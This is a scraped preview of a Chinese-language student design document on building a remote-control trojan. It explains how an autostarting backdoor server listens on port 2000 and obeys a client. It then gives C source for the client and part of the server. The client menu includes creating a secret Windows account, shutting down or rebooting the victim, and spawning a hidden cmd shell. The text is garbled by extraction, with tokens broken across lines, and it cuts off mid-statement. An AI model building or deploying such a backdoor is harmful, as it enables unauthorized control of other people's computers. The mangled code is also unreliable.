远程控制与木马程序设计Word文档下载推荐.docx
《远程控制与木马程序设计Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《远程控制与木马程序设计Word文档下载推荐.docx(14页珍藏版)》请在冰豆网上搜索。
![远程控制与木马程序设计Word文档下载推荐.docx](https://file1.bdocx.com/fileroot1/2022-11/17/d5869b03-d3ae-4f32-87e8-656d8064c5f3/d5869b03-d3ae-4f32-87e8-656d8064c5f31.gif)
recv()/send()->
closesocket()
客户端流程如下:
connect()->
●远程控制与木马程序
远程控制实际上是包含有服务器端和客户端的一套程序服务器端程序驻留在目标计算机里,随着系统启动而自行启动。
此外,使用传统技术的程序会在某端口进行监听,若接收到数据就对其进行识别,然后按照识别后的命令在目标计算机上执行一些操作(比如窃取口令,拷贝或删除文件,或重启计算机等)。
攻击者一般在入侵成功后,将服务端程序拷贝到目标计算机中,并设法使其运行,从而留下后门。
日后,攻击者就能够通过运行客户端程序,来对目标计算机进行操作。
总体流程:
通过C/S运行模式并结合进程与匿名管道技术来实现的,主体分为两部分:
即客户端和服务端木马程序。
其原理为服务端程序在目标计算机中采用自动运行模式,并打开2000端口进行监听,当客户端向服务端主动提出连接请求,服务端木马程序就会自动运行,来应答客户端的请求,从而建立连接,服务段木马程序根据客户端的指令而执行相应的操作。
软件流程图:
5实验结果及结论
6附录:
程序清单及说明
客户端程序:
#include<
stdio.h>
//包含标准输入输出库
winsock.h>
//包含windows套接字函数
#pragmacomment(lib,"
Ws2_32"
)
//将注释wsock32放置到lib文件中,否则需要加载
#defineMAXSIZE2048//每次可以接收的最大字节
#defineSEND_PORT2000//与木马程序连接的端口为2000
structsockaddr_inClientAddr;
//对方的地址端口信息
SOCKETsock;
//定义套接字变量,为全局变量
DWORDstartSock()//建立套接字功能模块
{
WSADATAWSAData;
//将WSAData的数据类型声明为WSADATA
if(WSAStartup(MAKEWORD(2,2),&
WSAData)!
=0)
{
//MAKEWORD(2,2)预定义Winsock版本,初始化套接字
printf("
sockinitfail"
);
return(-1);
}
sock=socket(AF_INET,SOCK_STREAM,0);
//连接对方
return1;
}
intmain(intargc,char*argv[])
{
u_intnumbyte;
charbuf[MAXSIZE];
//传送数据的缓冲区
if(argc!
=2)
//需要有服务端ip参数,格式:
client.exeIP地址
fprintf(stderr,"
usage:
clienthostname\n"
exit
(1);
}
startSock();
//调用建立套接字功能函数
ClientAddr.sin_family=AF_INET;
//协议类型是INET
ClientAddr.sin_port=htons(SEND_PORT);
//连接对方2000端口
ClientAddr.sin_addr.s_addr=inet_addr(argv[1]);
//连接对方的IP地址
connect(sock,(structsockaddr*)&
ClientAddr,sizeof(structsockaddr));
------------远程控制木马程序菜单-------------\r\n"
printf("
test--检测连接\r\n"
add--建立Windowsxp系统的秘密帐号\r\n"
shutdownxp--关闭Windowsxp计算机\r\n"
resetxp--重新启动Windowsxp计算机\r\n"
close--关闭光驱\r\n"
open--打开光驱\r\n"
sell--建立cmd进程\r\n"
OSVersion--显示系统版本\r\n"
-------------------------------------------------------\r\n"
numbyte=recv(sock,buf,MAXSIZE,0);
//接收服务端发来的提示符
if(numbyte==SOCKET_ERROR)
{
closesocket(sock);
buf[numbyte]='
\0'
;
%s"
buf);
//显示服务端发来的提示符
if(strcmp(buf,"
quit"
)==0)
{
return0;
while
(1)
buf[0]='
scanf("
//输入控制指令
intiLen=strlen(buf);
buf[iLen]=0xa;
buf[iLen+1]='
//要求控制指令串最后为回车符,以示结束
numbyte=send(sock,buf,strlen(buf),0);
//发出控制指令
if(numbyte==SOCKET_ERROR)
{
closesocket(sock);
break;
}
numbyte=recv(sock,buf,MAXSIZE,0);
}
buf[numbyte]='
printf("
if(strcmp(buf,"
{
closesocket(sock);
return0;
服务器程序:
winsock2.h>
//包含windows套接字函数
//包含标准输入输出函数
mmsystem.h>
//光驱控制函数mciSendString()所需的头文件
iostream.h>
//包含C++系统输入输出函数
string.h>
//包含字符串处理函数
winuser.h>
//WinExec()函数所需的头文件
)
//将注释wsock32放置到lib文件中,否则需要加载
Winmm.lib"
)//光驱控制函数mciSendString()所需的库
#defineRECV_PORT2000//木马服务端对外响应的端口
#definePATH200//程序自启动的最大路径
SOCKETsock1,sock2;
//sock1为服务端程序自身建立的套接字
//sock2为服务端与客户端建立响应后的套接字
intg1;
charBuff[1024],cmd[1024];
//缓冲区
sock1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//建立套接字,为TCP/IP、流式格式
structsockaddr_inserverAddr;
//保存套接字地址的结构体
serverAddr.sin_family=AF_INET;
//规定使用IPv4协议
serverAddr.sin_port=htons(RECV_PORT);
//响应端口
serverAddr.sin_addr.s_addr=ADDR_ANY;
//建立IP地址,ADDR_ANY可使用任意IP地址连接
g1=bind(sock1,(sockaddr*)&
serverAddr,sizeof(serverAddr));
//绑定端口与套接字
g1=listen(sock1,5);
//等待监听,最大可接受5个连接请求
intserverAddrSize=sizeof(serverAddr);
sock2=accept(sock1,(sockaddr*)&
serverAddr,&
serverAddrSize);
//如果客户请求2000端口,接受连接,并返回sock2套接字
return1;
intcmdshell(SOCKETsock)//建立cmd进程功能模块
STARTUPINFOstartinfo;
//控制进程的主窗口的显示方式
ZeroMemory(&
startinfo,sizeof(startinfo));
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//决定本结构的每一个成员是否起作用
startinfo.wShowWindow=SW_HIDE;
//窗口显示模式,隐藏格式
startinfo.hStdInput=startinfo.hStdOutput=startinfo.hStdError=(void*)so